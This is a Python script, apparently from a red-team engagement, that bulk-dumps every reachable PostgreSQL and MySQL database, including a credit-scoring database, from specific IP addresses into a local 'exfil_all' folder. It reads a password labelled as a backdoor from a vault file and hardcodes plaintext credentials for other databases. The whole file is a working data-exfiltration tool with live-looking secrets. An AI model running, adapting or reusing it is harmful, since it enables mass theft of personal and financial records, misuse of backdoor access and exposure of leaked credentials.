#!/usr/bin/env python3
"""Full-estate dump — Npontu full-cycle (engagement one-off).

Downloads EVERYTHING reachable: all PG DBs on snwolley instance (via
rep_listener), full creditscoring (SBX PG), full hellio MySQL (all tables,
chunked by id or PK). Resume-safe per-table/per-chunk checkpoints.
gz output + sha256 manifest. Single-connection, steady rate.
"""
import json, subprocess, gzip, hashlib, time
from pathlib import Path

ROOT = Path('/root/ir-assessment/redteam/gitlab_npontutechnologies_com')
OUT = ROOT / 'exfil_all'
LOG = ROOT / 'exfil_all.log'
PG_PW = json.loads((ROOT/'.vault.json').read_text())['pg_backdoor']['pw']
PG_ENV = {'PGPASSWORD': PG_PW, 'PGCONNECT_TIMEOUT':'20', 'PATH':'/usr/bin:/bin'}
SNW = ('65.109.51.221','5542','rep_listener')
SBX = ('148.251.89.119','5442','kafkauser')  # creditscoring
SBX_PW = '0ArunW82jf$j0!ksh#ksP2eQ'
MY = ('144.76.195.8','3117','kafkauser','helliobk#123X')
CHUNK = 500000

def run(cmd, env, timeout=1800):
    return subprocess.run(cmd, capture_output=True, timeout=timeout, env=env)

def sha(b): return hashlib.sha256(b).hexdigest()

def save(sub, name, raw):
    d = OUT / sub; d.mkdir(parents=True, exist_ok=True)
    p = d / f'{name}.csv.gz'
    with gzip.open(p,'wb') as fh: fh.write(raw)
    (d / f'.{name}.done').write_text(sha(raw))
    return p

def pg(host, port, user, pw, db, sql, timeout=1800):
    env = dict(PG_ENV); env['PGPASSWORD'] = pw
    return run(['psql','-h',host,'-p',port,'-U',user,'-d',db,'-At','--no-psqlrc','-c',sql], env, timeout)

def pg_tables(host, port, user, pw, db):
    r = pg(host, port, user, pw, db, "SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND table_type='BASE TABLE';", 120)
    return [t for t in r.stdout.decode('utf-8','replace').splitlines() if t.strip()]

def dump_pg_db(host, port, user, pw, db):
    label = f'pg_{db}'
    d = OUT / label
    marker = d / '.db_complete'
    if marker.exists():
        print(f'[skip-db] {db}'); return
    try:
        tables = pg_tables(host, port, user, pw, db)
    except Exception as e:
        print(f'[FAIL-list] {db}: {e}'); return
    print(f'[db] {db}: {len(tables)} tables', flush=True)
    LOG.open('a').write(f'[db] {db}: {len(tables)} tables\n')
    for t in tables:
        ck = d / f'.{t}.done'
        if ck.exists(): continue
        sql = f'COPY (SELECT * FROM "{t}") TO STDOUT WITH CSV HEADER;'
        try:
            r = pg(host, port, user, pw, db, sql)
        except Exception as e:
            print(f'  [FAIL] {db}.{t}: {e}'); LOG.open('a').write(f'FAIL {db}.{t}: {e}\n'); continue
        if r.returncode != 0:
            err = r.stderr.decode('utf-8','replace')[:150]
            print(f'  [FAIL] {db}.{t}: {err}'); LOG.open('a').write(f'FAIL {db}.{t}: {err}\n'); continue
        raw = r.stdout
        save(label, t, raw)
        print(f'  [ok] {db}.{t}: {len(raw)}b', flush=True)
    marker.write_text('done')
    print(f'[+] {db} complete')

def mysql(sql, timeout=1800):
    return run(['mysql','-h',MY[0],'-P',MY[1],'-u',MY[2],f'-p{MY[3]}','--quick','-N','-e',sql], {'PATH':'/usr/bin:/bin'}, timeout)

def dump_mysql_table(db, table, pk='id'):
    label = f'my_{db}'
    d = OUT / label; d.mkdir(parents=True, exist_ok=True)
    # get id range
    r = mysql(f"SELECT MIN({pk}), MAX({pk}) FROM {db}.{table};", 120)
    parts = r.stdout.decode('utf-8','replace').strip().split('\t')
    if len(parts) < 2 or not parts[0].strip().isdigit():
        # no integer pk path: single-shot dump
        ck = d / f'.{table}.done'
        if ck.exists(): return
        r = mysql(f"SELECT * FROM {db}.{table};")
        if r.returncode == 0:
            save(label, table, r.stdout)
            print(f'  [ok-1shot] {db}.{table}: {len(r.stdout)}b', flush=True)
        else:
            LOG.open('a').write(f'FAIL {db}.{table}: {r.stderr.decode()[:150]}\n')
        return
    mn, mx = int(parts[0]), int(parts[1])
    start = mn
    while start <= mx:
        end = min(start + CHUNK - 1, mx)
        cname = f'{table}_{start}_{end}'
        ck = d / f'.{cname}.done'
        if ck.exists():
            start = end + 1; continue
        r = mysql(f"SELECT * FROM {db}.{table} WHERE {pk} BETWEEN {start} AND {end};")
        if r.returncode != 0:
            LOG.open('a').write(f'FAIL {db}.{table} {start}-{end}: {r.stderr.decode()[:150]}\n')
            return
        save(label, cname, r.stdout)
        print(f'  [ok] {db}.{table} {start}-{end}: {len(r.stdout)}b', flush=True)
        start = end + 1

def main():
    OUT.mkdir(exist_ok=True)
    LOG.open('a').write(f'=== full-estate dump {time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime())} ===\n')
    # --- PG snwolley instance: all DBs ---
    r = pg(SNW[0],SNW[1],SNW[2],PG_PW,'postgres',
           "SELECT datname FROM pg_database WHERE datistemplate=false AND has_database_privilege(datname,'CONNECT') ORDER BY pg_database_size(datname) DESC;", 120)
    dbs = [d for d in r.stdout.decode('utf-8','replace').splitlines() if d.strip()]
    print(f'[*] snwolley DBs: {len(dbs)}')
    for db in dbs:
        try:
            dump_pg_db(SNW[0],SNW[1],SNW[2],PG_PW, db)
        except Exception as e:
            print(f'[EXC] {db}: {e}'); LOG.open('a').write(f'EXC {db}: {e}\n')
    # --- PG SBX creditscoring (kafkauser) ---
    dump_pg_db(SBX[0],SBX[1],SBX[2],SBX_PW, 'creditscoring')
    # --- MySQL hellio: all tables ---
    r = mysql("SELECT table_name FROM information_schema.tables WHERE table_schema='hellio' AND table_type='BASE TABLE';", 120)
    tables = [t for t in r.stdout.decode('utf-8','replace').splitlines() if t.strip()]
    print(f'[*] hellio tables: {len(tables)}')
    for t in tables:
        try:
            dump_mysql_table('hellio', t)
        except Exception as e:
            print(f'[EXC] hellio.{t}: {e}'); LOG.open('a').write(f'EXC hellio.{t}: {e}\n')
    print('[+] FULL ESTATE DUMP COMPLETE')
    LOG.open('a').write('=== full estate complete ===\n')

if __name__ == '__main__':
    main()
